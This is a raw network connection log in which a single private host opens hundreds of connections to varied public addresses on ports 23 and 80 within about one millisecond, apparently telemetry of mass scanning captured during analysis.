Apr 14, 2024 03:59:49.672308922 CEST	2631	23	192.168.2.13	146.49.65.31
Apr 14, 2024 03:59:49.672324896 CEST	2631	23	192.168.2.13	220.77.246.115
Apr 14, 2024 03:59:49.672327995 CEST	2631	23	192.168.2.13	209.178.8.7
Apr 14, 2024 03:59:49.672327995 CEST	2631	23	192.168.2.13	167.77.252.177
Apr 14, 2024 03:59:49.672328949 CEST	2631	23	192.168.2.13	81.160.10.51
Apr 14, 2024 03:59:49.672405005 CEST	2631	23	192.168.2.13	9.131.38.190
Apr 14, 2024 03:59:49.672410011 CEST	2631	23	192.168.2.13	40.45.150.229
Apr 14, 2024 03:59:49.672415972 CEST	2631	23	192.168.2.13	79.10.4.237
Apr 14, 2024 03:59:49.672418118 CEST	2631	23	192.168.2.13	119.147.73.169
Apr 14, 2024 03:59:49.672424078 CEST	2631	23	192.168.2.13	108.80.97.146
Apr 14, 2024 03:59:49.672424078 CEST	2631	23	192.168.2.13	154.49.71.22
Apr 14, 2024 03:59:49.672426939 CEST	2631	23	192.168.2.13	92.21.198.200
Apr 14, 2024 03:59:49.672435999 CEST	2631	23	192.168.2.13	192.81.70.210
Apr 14, 2024 03:59:49.672441006 CEST	2631	23	192.168.2.13	143.241.126.199
Apr 14, 2024 03:59:49.672449112 CEST	2631	23	192.168.2.13	216.218.246.156
Apr 14, 2024 03:59:49.672456026 CEST	2631	23	192.168.2.13	66.130.182.36
Apr 14, 2024 03:59:49.672468901 CEST	2631	23	192.168.2.13	123.98.174.221
Apr 14, 2024 03:59:49.672470093 CEST	2631	23	192.168.2.13	163.221.102.51
Apr 14, 2024 03:59:49.672468901 CEST	2631	23	192.168.2.13	219.93.84.30
Apr 14, 2024 03:59:49.672470093 CEST	2631	23	192.168.2.13	31.197.12.184
Apr 14, 2024 03:59:49.672468901 CEST	2631	23	192.168.2.13	169.67.131.254
Apr 14, 2024 03:59:49.672468901 CEST	2631	23	192.168.2.13	50.106.139.190
Apr 14, 2024 03:59:49.672470093 CEST	2631	23	192.168.2.13	155.180.237.34
Apr 14, 2024 03:59:49.672472954 CEST	2631	23	192.168.2.13	166.56.209.137
Apr 14, 2024 03:59:49.672494888 CEST	2631	23	192.168.2.13	208.117.64.86
Apr 14, 2024 03:59:49.672496080 CEST	2631	23	192.168.2.13	76.163.74.81
Apr 14, 2024 03:59:49.672496080 CEST	2631	23	192.168.2.13	165.50.211.220
Apr 14, 2024 03:59:49.672498941 CEST	2631	23	192.168.2.13	40.2.48.142
Apr 14, 2024 03:59:49.672499895 CEST	2631	23	192.168.2.13	172.15.38.187
Apr 14, 2024 03:59:49.672501087 CEST	2631	23	192.168.2.13	219.186.6.130
Apr 14, 2024 03:59:49.672502041 CEST	2631	23	192.168.2.13	186.61.75.92
Apr 14, 2024 03:59:49.672507048 CEST	2631	23	192.168.2.13	157.54.94.217
Apr 14, 2024 03:59:49.672507048 CEST	2631	23	192.168.2.13	165.218.165.252
Apr 14, 2024 03:59:49.672508001 CEST	2631	23	192.168.2.13	205.222.33.26
Apr 14, 2024 03:59:49.672514915 CEST	2631	23	192.168.2.13	51.241.190.136
Apr 14, 2024 03:59:49.672522068 CEST	2631	23	192.168.2.13	20.246.71.215
Apr 14, 2024 03:59:49.672523975 CEST	2631	23	192.168.2.13	48.126.28.216
Apr 14, 2024 03:59:49.672535896 CEST	2631	23	192.168.2.13	168.170.80.52
Apr 14, 2024 03:59:49.672535896 CEST	2631	23	192.168.2.13	12.125.112.9
Apr 14, 2024 03:59:49.672535896 CEST	2631	23	192.168.2.13	107.109.30.5
Apr 14, 2024 03:59:49.672538996 CEST	2631	23	192.168.2.13	203.253.93.151
Apr 14, 2024 03:59:49.672550917 CEST	2631	23	192.168.2.13	168.66.172.28
Apr 14, 2024 03:59:49.672550917 CEST	2631	23	192.168.2.13	206.97.40.129
Apr 14, 2024 03:59:49.672569990 CEST	2631	23	192.168.2.13	73.15.87.124
Apr 14, 2024 03:59:49.672581911 CEST	2631	23	192.168.2.13	96.89.135.196
Apr 14, 2024 03:59:49.672584057 CEST	2631	23	192.168.2.13	115.169.88.105
Apr 14, 2024 03:59:49.672596931 CEST	2631	23	192.168.2.13	36.188.18.190
Apr 14, 2024 03:59:49.672599077 CEST	2631	23	192.168.2.13	50.108.110.230
Apr 14, 2024 03:59:49.672601938 CEST	2631	23	192.168.2.13	199.196.172.113
Apr 14, 2024 03:59:49.672604084 CEST	2631	23	192.168.2.13	61.153.53.250
Apr 14, 2024 03:59:49.672605991 CEST	2631	23	192.168.2.13	67.115.98.104
Apr 14, 2024 03:59:49.672607899 CEST	2631	23	192.168.2.13	67.71.7.216
Apr 14, 2024 03:59:49.672607899 CEST	2631	23	192.168.2.13	152.209.83.30
Apr 14, 2024 03:59:49.672607899 CEST	2631	23	192.168.2.13	190.201.105.235
Apr 14, 2024 03:59:49.672607899 CEST	2631	23	192.168.2.13	177.8.46.186
Apr 14, 2024 03:59:49.672621012 CEST	2631	23	192.168.2.13	144.71.117.128
Apr 14, 2024 03:59:49.672627926 CEST	2631	23	192.168.2.13	94.97.206.126
Apr 14, 2024 03:59:49.672627926 CEST	2631	23	192.168.2.13	191.83.74.25
Apr 14, 2024 03:59:49.672645092 CEST	2631	23	192.168.2.13	78.227.22.222
Apr 14, 2024 03:59:49.672646999 CEST	2631	23	192.168.2.13	158.133.57.47
Apr 14, 2024 03:59:49.672651052 CEST	2631	23	192.168.2.13	8.148.137.130
Apr 14, 2024 03:59:49.672653913 CEST	2631	23	192.168.2.13	152.107.20.153
Apr 14, 2024 03:59:49.672660112 CEST	2631	23	192.168.2.13	106.141.142.97
Apr 14, 2024 03:59:49.672677040 CEST	2631	23	192.168.2.13	95.220.85.49
Apr 14, 2024 03:59:49.672691107 CEST	2631	23	192.168.2.13	97.182.149.137
Apr 14, 2024 03:59:49.672691107 CEST	2631	23	192.168.2.13	179.29.121.226
Apr 14, 2024 03:59:49.672693014 CEST	2631	23	192.168.2.13	148.30.221.132
Apr 14, 2024 03:59:49.672694921 CEST	2631	23	192.168.2.13	168.25.8.36
Apr 14, 2024 03:59:49.672698975 CEST	2631	23	192.168.2.13	106.95.238.202
Apr 14, 2024 03:59:49.672698975 CEST	2631	23	192.168.2.13	131.189.52.203
Apr 14, 2024 03:59:49.672704935 CEST	2631	23	192.168.2.13	217.234.222.144
Apr 14, 2024 03:59:49.672704935 CEST	2631	23	192.168.2.13	144.197.49.2
Apr 14, 2024 03:59:49.672720909 CEST	2631	23	192.168.2.13	98.128.191.24
Apr 14, 2024 03:59:49.672722101 CEST	2631	23	192.168.2.13	137.119.68.75
Apr 14, 2024 03:59:49.672749043 CEST	2631	23	192.168.2.13	59.121.81.197
Apr 14, 2024 03:59:49.672749996 CEST	2631	23	192.168.2.13	89.218.122.45
Apr 14, 2024 03:59:49.672750950 CEST	2631	23	192.168.2.13	148.244.98.43
Apr 14, 2024 03:59:49.672765017 CEST	2631	23	192.168.2.13	123.213.230.194
Apr 14, 2024 03:59:49.672765017 CEST	2631	23	192.168.2.13	68.61.46.51
Apr 14, 2024 03:59:49.672766924 CEST	2631	23	192.168.2.13	71.30.228.106
Apr 14, 2024 03:59:49.672770023 CEST	2631	23	192.168.2.13	8.59.122.12
Apr 14, 2024 03:59:49.672770023 CEST	2631	23	192.168.2.13	219.144.248.167
Apr 14, 2024 03:59:49.672792912 CEST	2631	23	192.168.2.13	202.223.17.23
Apr 14, 2024 03:59:49.672792912 CEST	2631	23	192.168.2.13	162.58.27.79
Apr 14, 2024 03:59:49.672799110 CEST	2631	23	192.168.2.13	88.139.208.115
Apr 14, 2024 03:59:49.672807932 CEST	2631	23	192.168.2.13	189.108.45.249
Apr 14, 2024 03:59:49.672807932 CEST	2631	23	192.168.2.13	166.72.231.202
Apr 14, 2024 03:59:49.672821045 CEST	2631	23	192.168.2.13	75.24.211.129
Apr 14, 2024 03:59:49.672825098 CEST	2631	23	192.168.2.13	92.199.184.201
Apr 14, 2024 03:59:49.672832012 CEST	2631	23	192.168.2.13	103.59.162.208
Apr 14, 2024 03:59:49.672836065 CEST	2631	23	192.168.2.13	131.80.113.244
Apr 14, 2024 03:59:49.672842026 CEST	2631	23	192.168.2.13	173.169.122.175
Apr 14, 2024 03:59:49.672842026 CEST	2631	23	192.168.2.13	161.205.118.246
Apr 14, 2024 03:59:49.672849894 CEST	2631	23	192.168.2.13	169.9.73.148
Apr 14, 2024 03:59:49.672853947 CEST	2631	23	192.168.2.13	90.206.46.129
Apr 14, 2024 03:59:49.672858953 CEST	2631	23	192.168.2.13	31.102.130.162
Apr 14, 2024 03:59:49.672863960 CEST	2631	23	192.168.2.13	150.100.225.147
Apr 14, 2024 03:59:49.672863960 CEST	2631	23	192.168.2.13	151.137.127.31
Apr 14, 2024 03:59:49.672880888 CEST	2631	23	192.168.2.13	174.198.57.158
Apr 14, 2024 03:59:49.672880888 CEST	2631	23	192.168.2.13	80.80.141.167
Apr 14, 2024 03:59:49.672880888 CEST	2631	23	192.168.2.13	151.240.7.96
Apr 14, 2024 03:59:49.672882080 CEST	2631	23	192.168.2.13	166.112.105.235
Apr 14, 2024 03:59:49.672882080 CEST	2631	23	192.168.2.13	100.189.97.39
Apr 14, 2024 03:59:49.672898054 CEST	2631	23	192.168.2.13	203.179.8.5
Apr 14, 2024 03:59:49.672898054 CEST	2631	23	192.168.2.13	66.65.131.192
Apr 14, 2024 03:59:49.672905922 CEST	2631	23	192.168.2.13	51.225.48.94
Apr 14, 2024 03:59:49.672907114 CEST	2631	23	192.168.2.13	99.181.208.219
Apr 14, 2024 03:59:49.672909021 CEST	2631	23	192.168.2.13	130.7.49.172
Apr 14, 2024 03:59:49.672918081 CEST	2631	23	192.168.2.13	160.115.116.197
Apr 14, 2024 03:59:49.672918081 CEST	2631	23	192.168.2.13	181.197.37.221
Apr 14, 2024 03:59:49.672933102 CEST	2631	23	192.168.2.13	51.116.227.69
Apr 14, 2024 03:59:49.672933102 CEST	2631	23	192.168.2.13	60.143.215.209
Apr 14, 2024 03:59:49.672934055 CEST	2631	23	192.168.2.13	144.183.242.53
Apr 14, 2024 03:59:49.672947884 CEST	2631	23	192.168.2.13	160.1.228.47
Apr 14, 2024 03:59:49.672947884 CEST	2631	23	192.168.2.13	92.238.104.167
Apr 14, 2024 03:59:49.672947884 CEST	2631	23	192.168.2.13	63.248.148.92
Apr 14, 2024 03:59:49.672951937 CEST	2631	23	192.168.2.13	24.34.75.28
Apr 14, 2024 03:59:49.672955990 CEST	2631	23	192.168.2.13	149.203.221.160
Apr 14, 2024 03:59:49.672981024 CEST	2631	23	192.168.2.13	169.225.36.88
Apr 14, 2024 03:59:49.672981977 CEST	2631	23	192.168.2.13	118.126.188.97
Apr 14, 2024 03:59:49.672981024 CEST	2631	23	192.168.2.13	200.61.30.104
Apr 14, 2024 03:59:49.672981024 CEST	2631	23	192.168.2.13	200.19.115.80
Apr 14, 2024 03:59:49.672982931 CEST	2631	23	192.168.2.13	87.57.240.155
Apr 14, 2024 03:59:49.672996044 CEST	2631	23	192.168.2.13	96.154.109.69
Apr 14, 2024 03:59:49.673002005 CEST	2631	23	192.168.2.13	133.55.80.135
Apr 14, 2024 03:59:49.673007011 CEST	2631	23	192.168.2.13	152.50.54.90
Apr 14, 2024 03:59:49.673007011 CEST	2631	23	192.168.2.13	183.89.172.19
Apr 14, 2024 03:59:49.673008919 CEST	2631	23	192.168.2.13	37.110.223.160
Apr 14, 2024 03:59:49.673008919 CEST	2631	23	192.168.2.13	66.211.232.78
Apr 14, 2024 03:59:49.673008919 CEST	2631	23	192.168.2.13	203.245.167.215
Apr 14, 2024 03:59:49.673008919 CEST	2631	23	192.168.2.13	192.158.157.227
Apr 14, 2024 03:59:49.673008919 CEST	2631	23	192.168.2.13	24.142.110.66
Apr 14, 2024 03:59:49.673013926 CEST	2631	23	192.168.2.13	97.102.131.99
Apr 14, 2024 03:59:49.673032999 CEST	2631	23	192.168.2.13	8.122.81.110
Apr 14, 2024 03:59:49.673032999 CEST	2631	23	192.168.2.13	205.5.114.167
Apr 14, 2024 03:59:49.673034906 CEST	2631	23	192.168.2.13	48.145.79.155
Apr 14, 2024 03:59:49.673036098 CEST	2631	23	192.168.2.13	150.27.62.89
Apr 14, 2024 03:59:49.673052073 CEST	2631	23	192.168.2.13	2.201.254.41
Apr 14, 2024 03:59:49.673053980 CEST	2631	23	192.168.2.13	204.11.190.51
Apr 14, 2024 03:59:49.673054934 CEST	2631	23	192.168.2.13	101.141.207.192
Apr 14, 2024 03:59:49.673055887 CEST	2631	23	192.168.2.13	91.143.193.93
Apr 14, 2024 03:59:49.673055887 CEST	2631	23	192.168.2.13	137.4.174.201
Apr 14, 2024 03:59:49.673058987 CEST	2631	23	192.168.2.13	27.51.37.181
Apr 14, 2024 03:59:49.673075914 CEST	2631	23	192.168.2.13	128.84.230.108
Apr 14, 2024 03:59:49.673084021 CEST	2631	23	192.168.2.13	163.201.23.75
Apr 14, 2024 03:59:49.673084021 CEST	2631	23	192.168.2.13	94.190.231.221
Apr 14, 2024 03:59:49.673093081 CEST	2631	23	192.168.2.13	4.113.142.106
Apr 14, 2024 03:59:49.673101902 CEST	2631	23	192.168.2.13	89.202.100.128
Apr 14, 2024 03:59:49.673105955 CEST	2631	23	192.168.2.13	96.182.243.62
Apr 14, 2024 03:59:49.673110008 CEST	2631	23	192.168.2.13	80.170.210.9
Apr 14, 2024 03:59:49.673120022 CEST	2631	23	192.168.2.13	67.242.192.239
Apr 14, 2024 03:59:49.673120975 CEST	2631	23	192.168.2.13	114.165.53.24
Apr 14, 2024 03:59:49.673131943 CEST	2631	23	192.168.2.13	204.225.177.54
Apr 14, 2024 03:59:49.673135996 CEST	2631	23	192.168.2.13	18.37.219.26
Apr 14, 2024 03:59:49.673141003 CEST	2631	23	192.168.2.13	165.5.6.146
Apr 14, 2024 03:59:49.673145056 CEST	2631	23	192.168.2.13	135.189.213.67
Apr 14, 2024 03:59:49.673150063 CEST	2631	23	192.168.2.13	109.99.5.225
Apr 14, 2024 03:59:49.673156023 CEST	2631	23	192.168.2.13	135.124.197.29
Apr 14, 2024 03:59:49.673175097 CEST	2631	23	192.168.2.13	96.247.18.232
Apr 14, 2024 03:59:49.673187971 CEST	2631	23	192.168.2.13	187.59.196.203
Apr 14, 2024 03:59:49.673193932 CEST	2631	23	192.168.2.13	1.222.194.251
Apr 14, 2024 03:59:49.673193932 CEST	2631	23	192.168.2.13	27.62.145.212
Apr 14, 2024 03:59:49.673196077 CEST	2631	23	192.168.2.13	27.76.202.25
Apr 14, 2024 03:59:49.673209906 CEST	2631	23	192.168.2.13	142.38.52.8
Apr 14, 2024 03:59:49.673234940 CEST	2631	23	192.168.2.13	101.6.50.219
Apr 14, 2024 03:59:49.673239946 CEST	2631	23	192.168.2.13	107.43.75.56
Apr 14, 2024 03:59:49.673239946 CEST	2631	23	192.168.2.13	77.41.159.224
Apr 14, 2024 03:59:49.673253059 CEST	2631	23	192.168.2.13	120.7.127.87
Apr 14, 2024 03:59:49.673255920 CEST	2631	23	192.168.2.13	77.212.75.167
Apr 14, 2024 03:59:49.673255920 CEST	2631	23	192.168.2.13	39.58.14.218
Apr 14, 2024 03:59:49.673259974 CEST	2631	23	192.168.2.13	146.46.254.77
Apr 14, 2024 03:59:49.673259974 CEST	2631	23	192.168.2.13	155.86.139.143
Apr 14, 2024 03:59:49.673261881 CEST	2631	23	192.168.2.13	219.39.152.44
Apr 14, 2024 03:59:49.673261881 CEST	2631	23	192.168.2.13	86.106.33.110
Apr 14, 2024 03:59:49.673263073 CEST	2631	23	192.168.2.13	196.103.94.53
Apr 14, 2024 03:59:49.673263073 CEST	2631	23	192.168.2.13	36.126.245.1
Apr 14, 2024 03:59:49.673263073 CEST	2631	23	192.168.2.13	128.243.86.49
Apr 14, 2024 03:59:49.673263073 CEST	2631	23	192.168.2.13	205.14.135.103
Apr 14, 2024 03:59:49.673271894 CEST	2631	23	192.168.2.13	216.145.1.138
Apr 14, 2024 03:59:49.673280001 CEST	2631	23	192.168.2.13	168.38.234.48
Apr 14, 2024 03:59:49.673283100 CEST	2631	23	192.168.2.13	103.18.131.175
Apr 14, 2024 03:59:49.673290014 CEST	2375	80	192.168.2.13	175.142.159.190
Apr 14, 2024 03:59:49.673290014 CEST	2631	23	192.168.2.13	134.166.145.155
Apr 14, 2024 03:59:49.673290014 CEST	2375	80	192.168.2.13	205.80.96.191
Apr 14, 2024 03:59:49.673290014 CEST	2631	23	192.168.2.13	9.135.138.53
Apr 14, 2024 03:59:49.673291922 CEST	2631	23	192.168.2.13	81.220.75.29
Apr 14, 2024 03:59:49.673291922 CEST	2631	23	192.168.2.13	161.110.185.248
Apr 14, 2024 03:59:49.673300028 CEST	2631	23	192.168.2.13	175.106.196.194
Apr 14, 2024 03:59:49.673300028 CEST	2631	23	192.168.2.13	156.135.145.50
Apr 14, 2024 03:59:49.673300028 CEST	2375	80	192.168.2.13	182.36.231.215
Apr 14, 2024 03:59:49.673314095 CEST	2631	23	192.168.2.13	101.205.252.251
Apr 14, 2024 03:59:49.673316956 CEST	2375	80	192.168.2.13	177.213.42.190
Apr 14, 2024 03:59:49.673321009 CEST	2631	23	192.168.2.13	153.203.35.233
Apr 14, 2024 03:59:49.673321962 CEST	2631	23	192.168.2.13	68.85.253.174
Apr 14, 2024 03:59:49.673331976 CEST	2375	80	192.168.2.13	53.26.97.197
Apr 14, 2024 03:59:49.673340082 CEST	2375	80	192.168.2.13	81.127.132.44
Apr 14, 2024 03:59:49.673341990 CEST	2375	80	192.168.2.13	81.153.247.188
Apr 14, 2024 03:59:49.673341990 CEST	2375	80	192.168.2.13	131.104.77.172
Apr 14, 2024 03:59:49.673341990 CEST	2375	80	192.168.2.13	160.62.136.136
Apr 14, 2024 03:59:49.673345089 CEST	2631	23	192.168.2.13	195.43.62.4
Apr 14, 2024 03:59:49.673346996 CEST	2631	23	192.168.2.13	65.223.82.207
Apr 14, 2024 03:59:49.673348904 CEST	2375	80	192.168.2.13	184.33.59.223
Apr 14, 2024 03:59:49.673348904 CEST	2375	80	192.168.2.13	218.107.120.83
Apr 14, 2024 03:59:49.673350096 CEST	2631	23	192.168.2.13	142.78.7.163
Apr 14, 2024 03:59:49.673350096 CEST	2631	23	192.168.2.13	75.170.172.212
Apr 14, 2024 03:59:49.673357964 CEST	2631	23	192.168.2.13	193.63.8.146
Apr 14, 2024 03:59:49.673363924 CEST	2631	23	192.168.2.13	114.21.173.91
Apr 14, 2024 03:59:49.673363924 CEST	2631	23	192.168.2.13	160.76.154.70
Apr 14, 2024 03:59:49.673379898 CEST	2631	23	192.168.2.13	190.248.157.241
Apr 14, 2024 03:59:49.673379898 CEST	2631	23	192.168.2.13	163.244.173.116
Apr 14, 2024 03:59:49.673379898 CEST	2631	23	192.168.2.13	190.212.19.64
Apr 14, 2024 03:59:49.673379898 CEST	2631	23	192.168.2.13	152.150.11.178
Apr 14, 2024 03:59:49.673383951 CEST	2375	80	192.168.2.13	2.207.157.46
Apr 14, 2024 03:59:49.673383951 CEST	2631	23	192.168.2.13	114.105.42.246
Apr 14, 2024 03:59:49.673383951 CEST	2375	80	192.168.2.13	43.38.66.154
Apr 14, 2024 03:59:49.673384905 CEST	2375	80	192.168.2.13	91.44.165.173
Apr 14, 2024 03:59:49.673392057 CEST	2631	23	192.168.2.13	196.145.154.68
Apr 14, 2024 03:59:49.673393011 CEST	2631	23	192.168.2.13	123.255.224.155
Apr 14, 2024 03:59:49.673393011 CEST	2631	23	192.168.2.13	119.95.58.47
Apr 14, 2024 03:59:49.673401117 CEST	2375	80	192.168.2.13	183.251.102.241
Apr 14, 2024 03:59:49.673401117 CEST	2631	23	192.168.2.13	100.63.249.237
Apr 14, 2024 03:59:49.673402071 CEST	2631	23	192.168.2.13	40.65.83.172
Apr 14, 2024 03:59:49.673408985 CEST	2631	23	192.168.2.13	121.120.30.184
Apr 14, 2024 03:59:49.673417091 CEST	2375	80	192.168.2.13	68.113.59.108
Apr 14, 2024 03:59:49.673418045 CEST	2631	23	192.168.2.13	111.232.66.49
Apr 14, 2024 03:59:49.673418999 CEST	2375	80	192.168.2.13	207.34.16.133
Apr 14, 2024 03:59:49.673418999 CEST	2631	23	192.168.2.13	120.220.106.44
Apr 14, 2024 03:59:49.673422098 CEST	2631	23	192.168.2.13	74.87.38.162
Apr 14, 2024 03:59:49.673441887 CEST	2631	23	192.168.2.13	158.120.139.250
Apr 14, 2024 03:59:49.673443079 CEST	2631	23	192.168.2.13	87.1.72.241
Apr 14, 2024 03:59:49.673446894 CEST	2631	23	192.168.2.13	175.69.139.176
Apr 14, 2024 03:59:49.673446894 CEST	2631	23	192.168.2.13	166.65.5.35
Apr 14, 2024 03:59:49.673453093 CEST	2631	23	192.168.2.13	116.77.229.40
Apr 14, 2024 03:59:49.673454046 CEST	2375	80	192.168.2.13	156.49.46.206
Apr 14, 2024 03:59:49.673454046 CEST	2631	23	192.168.2.13	85.243.203.160
Apr 14, 2024 03:59:49.673455954 CEST	2631	23	192.168.2.13	89.54.112.244
Apr 14, 2024 03:59:49.673455954 CEST	2631	23	192.168.2.13	102.205.231.174
Apr 14, 2024 03:59:49.673455954 CEST	2375	80	192.168.2.13	100.192.200.143
Apr 14, 2024 03:59:49.673465967 CEST	2631	23	192.168.2.13	81.241.169.33
Apr 14, 2024 03:59:49.673465967 CEST	2375	80	192.168.2.13	135.245.254.231
Apr 14, 2024 03:59:49.673465967 CEST	2375	80	192.168.2.13	36.226.1.103
Apr 14, 2024 03:59:49.673465967 CEST	2631	23	192.168.2.13	211.40.47.207
Apr 14, 2024 03:59:49.673469067 CEST	2631	23	192.168.2.13	114.229.224.218
Apr 14, 2024 03:59:49.673465967 CEST	2631	23	192.168.2.13	79.12.45.204
Apr 14, 2024 03:59:49.673469067 CEST	2631	23	192.168.2.13	183.27.154.82
Apr 14, 2024 03:59:49.673472881 CEST	2631	23	192.168.2.13	188.245.92.213
Apr 14, 2024 03:59:49.673472881 CEST	2375	80	192.168.2.13	204.183.25.37
Apr 14, 2024 03:59:49.673480034 CEST	2375	80	192.168.2.13	101.213.175.0
Apr 14, 2024 03:59:49.673480034 CEST	2375	80	192.168.2.13	66.212.252.122
Apr 14, 2024 03:59:49.673480034 CEST	2631	23	192.168.2.13	161.182.8.127
Apr 14, 2024 03:59:49.673485041 CEST	2375	80	192.168.2.13	20.247.18.113
Apr 14, 2024 03:59:49.673485994 CEST	2631	23	192.168.2.13	104.133.17.105
Apr 14, 2024 03:59:49.673485994 CEST	2375	80	192.168.2.13	67.208.137.155
Apr 14, 2024 03:59:49.673490047 CEST	2631	23	192.168.2.13	204.4.99.59
Apr 14, 2024 03:59:49.673490047 CEST	2631	23	192.168.2.13	183.198.180.101
Apr 14, 2024 03:59:49.673491001 CEST	2631	23	192.168.2.13	167.130.142.97
Apr 14, 2024 03:59:49.673491001 CEST	2631	23	192.168.2.13	219.225.6.130
Apr 14, 2024 03:59:49.673491955 CEST	2631	23	192.168.2.13	43.188.15.64
Apr 14, 2024 03:59:49.673491955 CEST	2375	80	192.168.2.13	109.225.196.33
Apr 14, 2024 03:59:49.673495054 CEST	2375	80	192.168.2.13	106.63.49.139
Apr 14, 2024 03:59:49.673495054 CEST	2375	80	192.168.2.13	23.109.181.39
Apr 14, 2024 03:59:49.673506975 CEST	2375	80	192.168.2.13	70.196.40.14
Apr 14, 2024 03:59:49.673506975 CEST	2375	80	192.168.2.13	131.11.208.78
Apr 14, 2024 03:59:49.673506975 CEST	2631	23	192.168.2.13	4.147.222.227
Apr 14, 2024 03:59:49.673506975 CEST	2375	80	192.168.2.13	204.61.0.98
Apr 14, 2024 03:59:49.673506975 CEST	2631	23	192.168.2.13	168.3.65.170
Apr 14, 2024 03:59:49.673517942 CEST	2375	80	192.168.2.13	34.145.10.86
Apr 14, 2024 03:59:49.673517942 CEST	2375	80	192.168.2.13	181.116.202.48
Apr 14, 2024 03:59:49.673517942 CEST	2375	80	192.168.2.13	65.164.96.227
Apr 14, 2024 03:59:49.673517942 CEST	2631	23	192.168.2.13	213.214.4.209
Apr 14, 2024 03:59:49.673520088 CEST	2375	80	192.168.2.13	170.24.254.100
Apr 14, 2024 03:59:49.673520088 CEST	2375	80	192.168.2.13	24.160.201.216
Apr 14, 2024 03:59:49.673520088 CEST	2375	80	192.168.2.13	46.50.169.209
Apr 14, 2024 03:59:49.673520088 CEST	2631	23	192.168.2.13	44.99.15.108
Apr 14, 2024 03:59:49.673520088 CEST	2375	80	192.168.2.13	164.194.112.29
Apr 14, 2024 03:59:49.673521996 CEST	2631	23	192.168.2.13	223.223.209.218
Apr 14, 2024 03:59:49.673520088 CEST	2631	23	192.168.2.13	75.126.70.44
Apr 14, 2024 03:59:49.673526049 CEST	2631	23	192.168.2.13	69.30.65.83
Apr 14, 2024 03:59:49.673526049 CEST	2375	80	192.168.2.13	194.50.123.9
Apr 14, 2024 03:59:49.673526049 CEST	2375	80	192.168.2.13	191.17.219.155
Apr 14, 2024 03:59:49.673526049 CEST	2631	23	192.168.2.13	63.76.167.50
Apr 14, 2024 03:59:49.673526049 CEST	2631	23	192.168.2.13	18.60.226.62
Apr 14, 2024 03:59:49.673526049 CEST	2375	80	192.168.2.13	190.110.255.74
Apr 14, 2024 03:59:49.673526049 CEST	2631	23	192.168.2.13	209.159.166.173
Apr 14, 2024 03:59:49.673526049 CEST	2375	80	192.168.2.13	209.23.179.15
Apr 14, 2024 03:59:49.673526049 CEST	2375	80	192.168.2.13	57.17.45.20
Apr 14, 2024 03:59:49.673526049 CEST	2375	80	192.168.2.13	199.144.136.206
Apr 14, 2024 03:59:49.673535109 CEST	2631	23	192.168.2.13	108.60.159.39
Apr 14, 2024 03:59:49.673535109 CEST	2375	80	192.168.2.13	206.67.19.157
Apr 14, 2024 03:59:49.673535109 CEST	2631	23	192.168.2.13	208.70.212.191
Apr 14, 2024 03:59:49.673535109 CEST	2631	23	192.168.2.13	19.66.142.230
Apr 14, 2024 03:59:49.673535109 CEST	2375	80	192.168.2.13	199.145.36.154
Apr 14, 2024 03:59:49.673535109 CEST	2631	23	192.168.2.13	128.245.230.48
Apr 14, 2024 03:59:49.673535109 CEST	2375	80	192.168.2.13	61.38.165.61
Apr 14, 2024 03:59:49.673535109 CEST	2631	23	192.168.2.13	64.82.181.56
Apr 14, 2024 03:59:49.673544884 CEST	2631	23	192.168.2.13	180.239.222.138
Apr 14, 2024 03:59:49.673544884 CEST	2631	23	192.168.2.13	126.190.38.57
Apr 14, 2024 03:59:49.673546076 CEST	2631	23	192.168.2.13	178.89.92.125
Apr 14, 2024 03:59:49.673546076 CEST	2375	80	192.168.2.13	169.193.254.139
Apr 14, 2024 03:59:49.673556089 CEST	2375	80	192.168.2.13	135.102.225.21
Apr 14, 2024 03:59:49.673568010 CEST	2375	80	192.168.2.13	111.107.220.67
Apr 14, 2024 03:59:49.673568010 CEST	2631	23	192.168.2.13	184.64.176.51
Apr 14, 2024 03:59:49.673573971 CEST	2631	23	192.168.2.13	69.192.65.169
Apr 14, 2024 03:59:49.673573971 CEST	2375	80	192.168.2.13	19.50.188.39
Apr 14, 2024 03:59:49.673576117 CEST	2631	23	192.168.2.13	205.43.172.175
Apr 14, 2024 03:59:49.673579931 CEST	2631	23	192.168.2.13	23.114.131.177
Apr 14, 2024 03:59:49.673579931 CEST	2375	80	192.168.2.13	111.189.201.136
Apr 14, 2024 03:59:49.673579931 CEST	2631	23	192.168.2.13	195.246.116.136
Apr 14, 2024 03:59:49.673579931 CEST	2631	23	192.168.2.13	63.227.246.68
Apr 14, 2024 03:59:49.673573971 CEST	2631	23	192.168.2.13	162.92.125.90
Apr 14, 2024 03:59:49.673573971 CEST	2631	23	192.168.2.13	52.38.248.21
Apr 14, 2024 03:59:49.673583984 CEST	2375	80	192.168.2.13	90.173.40.251
Apr 14, 2024 03:59:49.673583984 CEST	2375	80	192.168.2.13	69.26.222.134
Apr 14, 2024 03:59:49.673583984 CEST	2631	23	192.168.2.13	46.210.82.252
Apr 14, 2024 03:59:49.673597097 CEST	2375	80	192.168.2.13	40.72.196.26
Apr 14, 2024 03:59:49.673597097 CEST	2631	23	192.168.2.13	135.185.5.133
Apr 14, 2024 03:59:49.673598051 CEST	2375	80	192.168.2.13	141.246.204.147
Apr 14, 2024 03:59:49.673599958 CEST	2631	23	192.168.2.13	82.207.155.18
Apr 14, 2024 03:59:49.673599958 CEST	2375	80	192.168.2.13	67.164.28.52
Apr 14, 2024 03:59:49.673599958 CEST	2375	80	192.168.2.13	223.189.93.137
Apr 14, 2024 03:59:49.673599958 CEST	2631	23	192.168.2.13	99.210.120.55
Apr 14, 2024 03:59:49.673620939 CEST	2631	23	192.168.2.13	80.55.196.156
Apr 14, 2024 03:59:49.673620939 CEST	2631	23	192.168.2.13	20.246.254.115
Apr 14, 2024 03:59:49.673621893 CEST	2631	23	192.168.2.13	18.82.75.35
Apr 14, 2024 03:59:49.673620939 CEST	2375	80	192.168.2.13	133.137.44.244
Apr 14, 2024 03:59:49.673621893 CEST	2631	23	192.168.2.13	135.84.27.113
Apr 14, 2024 03:59:49.673621893 CEST	2375	80	192.168.2.13	204.211.137.203
Apr 14, 2024 03:59:49.673621893 CEST	2375	80	192.168.2.13	8.117.195.36
Apr 14, 2024 03:59:49.673638105 CEST	2631	23	192.168.2.13	102.13.9.244
Apr 14, 2024 03:59:49.673640013 CEST	2631	23	192.168.2.13	157.109.224.72
Apr 14, 2024 03:59:49.673640013 CEST	2631	23	192.168.2.13	40.253.192.180
Apr 14, 2024 03:59:49.673620939 CEST	2631	23	192.168.2.13	36.34.112.124
Apr 14, 2024 03:59:49.673648119 CEST	2631	23	192.168.2.13	212.171.239.30
